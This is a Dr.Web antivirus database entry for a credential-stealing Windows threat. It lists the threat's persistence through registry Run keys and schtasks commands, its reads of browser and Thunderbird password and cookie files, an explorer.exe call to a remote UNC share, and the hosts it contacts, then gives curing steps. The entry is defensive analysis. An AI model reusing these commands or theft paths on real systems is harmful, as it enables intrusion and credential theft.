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Exploit.Siggen3.44037
Added to the Dr.Web virus database:
2023-12-02
Virus description added:
2024-03-29
Technical Information
To ensure autorun and distribution
Modifies the following registry keys
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'MaxLoonaFest116' = '%LOCALAPPDATA%\MaxLoonaFest116\MaxLoonaFest116.exe'
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'LegalHelper116' = '%LOCALAPPDATA%\LegalHelper116\LegalHelper116.exe'
Creates or modifies the following files
%APPDATA%\microsoft\windows\start menu\programs\startup\fanbooster116.lnk
<SYSTEM32>\tasks\officetrackernmp116 hr
<SYSTEM32>\tasks\officetrackernmp116 lg
%APPDATA%\microsoft\windows\start menu\programs\startup\operaconnect116.lnk
<SYSTEM32>\tasks\ieupdater116 hr
<SYSTEM32>\tasks\ieupdater116 lg
Malicious functions
Executes the following (exploit)
'%WINDIR%\explorer.exe' "\\89.23.98.22\LN\"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Stop-Process -Name explorer
Injects code into
the following user processes:
Terminates or attempts to terminate
the following system processes:
Reads files which store third party applications passwords
%LOCALAPPDATA%\google\chrome\user data\default\login data
%LOCALAPPDATA%\google\chrome\user data\default\web data
%LOCALAPPDATA%\google\chrome\user data\default\cookies
%APPDATA%\mozilla\firefox\profiles.ini
%APPDATA%\mozilla\firefox\profiles\yfwt7ezn.default-release-1\signons.sqlite
%APPDATA%\mozilla\firefox\profiles\bcjnbgva.default\signons.sqlite
%APPDATA%\mozilla\firefox\profiles\0j9e9tku.default-release\signons.sqlite
%APPDATA%\thunderbird\profiles.ini
%APPDATA%\thunderbird\profiles\49zr3fqa.default\signons.sqlite
%APPDATA%\thunderbird\profiles\npsdfqy3.default-release\signons.sqlite
Modifies file system
Creates the following files
unc\89.23.98.22\pipe\srvsvc
%TEMP%\posterboxfcmd72urc_7so\jx0oqi4nztiqplaces.sqlite
%TEMP%\posterboxfcmd72urc_7so\suorww4zcubjformhistory.sqlite
%TEMP%\posterboxfcmd72urc_7so\l6w3nvxsgpmdplaces.sqlite
%TEMP%\posterboxfcmd72urc_7so\2jqjv37ij0lzcookies.sqlite
%TEMP%\posterboxfcmd72urc_7so\pse1jchbit9aplaces.sqlite
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
%TEMP%\posterboxfcmd72urc_7so\3b6n2xdh3cywweb data
%LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
%TEMP%\granduiafcmd72urc_7so\passwords.txt
%TEMP%\granduiafcmd72urc_7so\information.txt
%TEMP%\granduiafcmd72urc_7so\screenshot.png
%TEMP%\ugq7oqxh0tph2z_opmt1a6tpwbsyvta2.zip
%LOCALAPPDATA%\legalhelper116\legalhelper116.exe
%TEMP%\posterboxfcmd72urc_7so\kvhrxj77cmugplaces.sqlite
%TEMP%\posterboxfcmd72urc_7so\qdx9itdlycrbcookies.sqlite
%TEMP%\posterboxfcmd72urc_7so\iwpfiaxutjtscookies.sqlite
%TEMP%\posterboxfcmd72urc_7so\oopemfmu_xsjplaces.sqlite
%TEMP%\posterboxfcmd72urc_7so\5lop_s5wm5erplaces.sqlite
%TEMP%\posterboxfcmd72urc_7so\3b6n2xdh3cywformhistory.sqlite
%TEMP%\posterboxfcmd72urc_7so\02zdbxl47cvzformhistory.sqlite
%TEMP%\posterboxfcmd72urc_7so\iwpfiaxutjtshistory
%TEMP%\posterboxfcmd72urc_7so\5lop_s5wm5ercookies
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
%TEMP%\posterboxfcmd72urc_7so\02zdbxl47cvzhistory
%TEMP%\posterboxfcmd72urc_7so\d87fzn3r3jfeweb data
%TEMP%\posterboxfcmd72urc_7so\ei8dramayu9klogin data
%TEMP%\rise116m9asphalt.tmp
%ALLUSERSPROFILE%\officetrackernmp116\officetrackernmp116.exe
%TEMP%\fanbooster116\fanbooster116.exe
%LOCALAPPDATA%\maxloonafest116\maxloonafest116.exe
%TEMP%\operaconnect116\operaconnect116.exe
%ALLUSERSPROFILE%\ieupdater116\ieupdater116.exe
Deletes the following files
%TEMP%\posterboxfcmd72urc_7so\ei8dramayu9klogin data
%TEMP%\granduiafcmd72urc_7so\information.txt
%TEMP%\ugq7oqxh0tph2z_opmt1a6tpwbsyvta2.zip
%TEMP%\posterboxfcmd72urc_7so\pse1jchbit9aplaces.sqlite
%TEMP%\posterboxfcmd72urc_7so\2jqjv37ij0lzcookies.sqlite
%TEMP%\posterboxfcmd72urc_7so\l6w3nvxsgpmdplaces.sqlite
%TEMP%\posterboxfcmd72urc_7so\suorww4zcubjformhistory.sqlite
%TEMP%\posterboxfcmd72urc_7so\jx0oqi4nztiqplaces.sqlite
%TEMP%\posterboxfcmd72urc_7so\kvhrxj77cmugplaces.sqlite
%TEMP%\posterboxfcmd72urc_7so\qdx9itdlycrbcookies.sqlite
%TEMP%\posterboxfcmd72urc_7so\iwpfiaxutjtscookies.sqlite
%TEMP%\posterboxfcmd72urc_7so\oopemfmu_xsjplaces.sqlite
%TEMP%\posterboxfcmd72urc_7so\5lop_s5wm5erplaces.sqlite
%TEMP%\posterboxfcmd72urc_7so\3b6n2xdh3cywformhistory.sqlite
%TEMP%\posterboxfcmd72urc_7so\02zdbxl47cvzformhistory.sqlite
%TEMP%\posterboxfcmd72urc_7so\iwpfiaxutjtshistory
%TEMP%\posterboxfcmd72urc_7so\5lop_s5wm5ercookies
%TEMP%\posterboxfcmd72urc_7so\3b6n2xdh3cywweb data
%TEMP%\posterboxfcmd72urc_7so\02zdbxl47cvzhistory
%TEMP%\posterboxfcmd72urc_7so\d87fzn3r3jfeweb data
%TEMP%\granduiafcmd72urc_7so\passwords.txt
%TEMP%\granduiafcmd72urc_7so\screenshot.png
Network activity
Connects to
'89.#3.98.22':445
'82.##5.223.71':50500
'ip##fo.io':443
'db##p.com':443
'ma##ind.com':80
TCP
HTTP GET requests
http://www.ma##ind.com/geoip/v2.1/city/me
Other
'89.#3.98.22':445
'82.##5.223.71':50500
'ip##fo.io':443
'db##p.com':443
UDP
DNS ASK ip##fo.io
DNS ASK db##p.com
DNS ASK ma##ind.com
Miscellaneous
Searches for the following windows
ClassName: 'Progman' WindowName: ''
ClassName: 'Proxy Desktop' WindowName: ''
ClassName: 'SystemTray_Main' WindowName: ''
ClassName: 'Media Center Tray Applet' WindowName: ''
ClassName: '' WindowName: 'View Available Networks'
ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: 'BluetoothNotificationAreaIconWindowClass'
ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: ''
Creates and executes the following
'%ALLUSERSPROFILE%\ieupdater116\ieupdater116.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Stop-Process -Name explorer' (with hidden window)
Executes the following
'%WINDIR%\explorer.exe'
'%WINDIR%\syswow64\schtasks.exe' /create /f /RU "user" /tr "%ALLUSERSPROFILE%\OfficeTrackerNMP116\OfficeTrackerNMP116.exe" /tn "OfficeTrackerNMP116 HR" /sc HOURLY /rl HIGHEST
'%WINDIR%\syswow64\schtasks.exe' /create /f /RU "user" /tr "%ALLUSERSPROFILE%\OfficeTrackerNMP116\OfficeTrackerNMP116.exe" /tn "OfficeTrackerNMP116 LG" /sc ONLOGON /rl HIGHEST
'%WINDIR%\syswow64\schtasks.exe' /create /f /RU "user" /tr "%ALLUSERSPROFILE%\IEUpdater116\IEUpdater116.exe" /tn "IEUpdater116 HR" /sc HOURLY /rl HIGHEST
'%WINDIR%\syswow64\schtasks.exe' /create /f /RU "user" /tr "%ALLUSERSPROFILE%\IEUpdater116\IEUpdater116.exe" /tn "IEUpdater116 LG" /sc ONLOGON /rl HIGHEST
Curing recommendations
Windows
macOS
Linux
Android
If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space .
If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.
If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
Switch off your device and turn it on as normal.
Find out more about Dr.Web for Android
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